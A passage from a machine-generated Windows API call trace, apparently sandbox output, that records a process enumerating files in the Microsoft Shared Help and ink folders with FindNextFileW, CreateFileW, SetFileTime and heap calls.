ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0045.938] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0045.939] GetLastError () returned 0x12 [0045.939] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0045.939] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0045.939] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0045.939] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0045.939] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0045.940] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0046.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0046.023] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0046.023] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee0690 [0046.024] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee0690, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xee0690, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0690) returned 1 [0046.024] NtClose (Handle=0x178) returned 0x0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0046.024] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0046.024] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.024] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x300000, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.024] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x300000, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.024] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.024] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0046.025] GetLastError () returned 0x12 [0046.025] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0046.025] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x300000, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x300000, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x300000, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0046.025] GetLastError () returned 0x12 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0046.025] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4170) returned 1 [0046.025] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0046.025] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0046.026] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0046.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0046.026] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xee0690 [0046.026] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xee0690, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xee0690, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0046.026] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee0690) returned 1 [0046.026] NtClose (Handle=0x170) returned 0x0 [0046.026] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4170 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0046.026] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0046.026] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.026] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0046.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee0088 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4528 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee00a8 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed45b0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0046.027] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0046.027] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, 